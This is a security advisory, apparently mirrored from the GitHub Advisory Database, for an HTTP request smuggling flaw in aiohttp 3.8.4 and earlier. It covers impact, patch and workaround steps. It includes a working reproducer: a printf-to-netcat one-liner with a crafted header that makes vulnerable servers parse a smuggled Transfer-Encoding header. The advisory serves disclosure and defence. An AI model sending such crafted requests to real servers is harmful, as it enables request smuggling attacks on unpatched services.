Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS00NWM0LTh3eDUtcXc2d84AA00K

aiohttp.web.Application vulnerable to HTTP request smuggling via llhttp HTTP request parser

Impact

aiohttp v3.8.4 and earlier are bundled with llhttp v6.0.6 which is vulnerable to CVE-2023-30589. The vulnerable code is used by aiohttp for its HTTP request parser when available which is the default case when installing from a wheel.

This vulnerability only affects users of aiohttp as an HTTP server (ie aiohttp.Application), you are not affected by this vulnerability if you are using aiohttp as an HTTP client library (ie aiohttp.ClientSession).

Reproducer

from aiohttp import web

async def example(request: web.Request):
    headers = dict(request.headers)
    body = await request.content.read()
    return web.Response(text=f"headers: {headers} body: {body}")

app = web.Application()
app.add_routes([web.post('/', example)])
web.run_app(app)

Sending a crafted HTTP request will cause the server to misinterpret one of the HTTP header values leading to HTTP request smuggling.

$ printf "POST / HTTP/1.1\r\nHost: localhost:8080\r\nX-Abc: \rxTransfer-Encoding: chunked\r\n\r\n1\r\nA\r\n0\r\n\r\n" \
  | nc localhost 8080

Expected output:
  headers: {'Host': 'localhost:8080', 'X-Abc': '\rxTransfer-Encoding: chunked'} body: b''

Actual output (note that 'Transfer-Encoding: chunked' is an HTTP header now and body is treated differently)
  headers: {'Host': 'localhost:8080', 'X-Abc': '', 'Transfer-Encoding': 'chunked'} body: b'A'

Patches

Upgrade to the latest version of aiohttp to resolve this vulnerability. It has been fixed in v3.8.5: pip install aiohttp >= 3.8.5

Workarounds

If you aren't able to upgrade you can reinstall aiohttp using AIOHTTP_NO_EXTENSIONS=1 as an environment variable to disable the llhttp HTTP request parser implementation. The pure Python implementation isn't vulnerable to request smuggling:

$ python -m pip uninstall --yes aiohttp
$ AIOHTTP_NO_EXTENSIONS=1 python -m pip install --no-binary=aiohttp --no-cache aiohttp

References

• https://nvd.nist.gov/vuln/detail/CVE-2023-30589
• https://hackerone.com/reports/2001873

Permalink: https://github.com/advisories/GHSA-45c4-8wx5-qw6w
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NWM0LTh3eDUtcXc2d84AA00K
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 9 months ago
Updated: 6 months ago

CVSS Score: 5.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Identifiers: GHSA-45c4-8wx5-qw6w, CVE-2023-37276
References:

• https://github.com/aio-libs/aiohttp/security/advisories/GHSA-45c4-8wx5-qw6w
• https://nvd.nist.gov/vuln/detail/CVE-2023-37276
• https://github.com/aio-libs/aiohttp/commit/9337fb3f2ab2b5f38d7e98a194bde6f7e3d16c40
• https://github.com/aio-libs/aiohttp/commit/9c13a52c21c23dfdb49ed89418d28a5b116d0681
• https://hackerone.com/reports/2001873
• https://github.com/aio-libs/aiohttp/blob/v3.8.4/.gitmodules
• https://github.com/aio-libs/aiohttp
• https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-120.yaml
• https://github.com/advisories/GHSA-45c4-8wx5-qw6w

Repository: https://github.com/aio-libs/aiohttp
Blast Radius: 25.6

Affected Packages